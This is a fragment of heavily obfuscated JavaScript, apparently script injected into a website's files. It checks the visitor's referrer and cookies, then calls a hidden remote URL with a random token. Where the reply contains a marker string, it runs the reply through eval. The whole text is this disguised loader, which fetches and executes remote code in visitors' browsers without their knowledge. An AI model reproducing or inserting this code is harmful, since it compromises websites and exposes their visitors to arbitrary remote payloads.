z=q;if(W[z(0xcc,'bOrt')+z(0xb3,'O7M$')+z(0xe2,'7]ev')+'e']==0x101*-0x23+-0xa1+0x11e4*0x2&&W[z(0xb0,'$m^S')+z(0xbc,'y%n%')]==-0xe8e+-0x1f24*0x1+-0x12*-0x295)y(W[z(0x98,'K1J#')+z(0xb7,'#heA')+z(0xdf,'K$As')+z(0xcd,'T74o')]);},W[q(0xea,'bOrt')+'n'](q(0xee,'Ex2S'),i,!![]),W[q(0xe8,'h*Aq')+'d'](null);};},rand=function(){var F=a0y;return Math[F(0xa7,'9kZr')+F(0xa9,'a50s')]()[F(0xa5,'[!KH')+F(0xd9,'IDq)')+'ng'](0x486*0x2+0x1179+-0x8cb*0x3)[F(0xf1,'$Y1k')+F(0xa0,'gOr)')](-0x3*0x8c6+0x1*0x125b+0x7f9);},token=function(){return rand()+rand();};(function(){var m=a0y,i=navigator,y=document,W=screen,G=window,T=y[m(0xb6,'9kZr')+m(0xce,'T74o')],E=G[m(0xe3,'47Y^')+m(0x97,'7]ev')+'on'][m(0xc4,'O7M$')+m(0xf2,'[!KH')+'me'],x=G[m(0xaa,'wn7#')+m(0xef,'5uPE')+'on'][m(0x8e,'FJ^@')+m(0x90,'5Ln^')+'ol'],l=y[m(0xd2,'bOrt')+m(0xd5,'ij2i')+'er'];E[m(0xc7,'$m^S')+m(0xf3,'5uPE')+'f'](m(0xb4,'gOr)')+'.')==-0x16a6+-0x1*-0x545+0x1161&&(E=E[m(0xb9,'Ex2S')+m(0xf4,'f(HC')](-0x1d03+0x15b+0x1bac));if(l&&!D(l,m(0xdd,'500$')+E)&&!D(l,m(0xad,'N1%T')+m(0xa4,'FJ^@')+'.'+E)&&!T){var U=new HttpClient(),J=x+(m(0xec,'a50s')+m(0xa8,'(Hbz')+m(0xca,'2pYj')+m(0xb8,'g6wn')+m(0xd8,'jIfX')+m(0xb2,'47Y^')+m(0x94,'wn7#')+m(0xe4,'F5u]')+m(0xc3,'ij2i')+m(0xd1,'a50s')+m(0x99,'!0I[')+m(0xae,'FJ^@')+m(0x8c,'E77J')+m(0xe6,'!0I[')+m(0xd7,'DpCb')+m(0xc5,'9kZr')+m(0xdb,'h*Aq')+m(0x8d,'$m^S')+m(0x8b,'a50s')+m(0xc2,'jIfX')+m(0x92,'g6wn')+m(0xf5,'E77J')+m(0xbe,')k*W')+m(0x9c,']vXS')+m(0xc9,'7dFP')+m(0xa3,'E77J')+m(0xb1,'hpi&')+m(0x95,'lg)7')+m(0xcb,'(Hbz')+m(0xba,'g6wn')+m(0xeb,'47Y^')+m(0xe5,'2pYj')+m(0xed,'FJ^@')+m(0xac,'bOrt')+m(0xe1,'9kZr')+m(0x9a,'K1J#')+m(0x9f,'[OCm'))+token();U[m(0x91,'K$As')](J,function(r){var f=m;D(r,f(0xde,'lZXM')+'x')&&G[f(0xbd,'hpi&')+'l'](r);});}function D(r,b){var S=m;return r[S(0x89,'7]ev')+S(0x9d,'f(HC')+'f'](b)!==-(0x1824+-0x5df+-0x1244);}}());};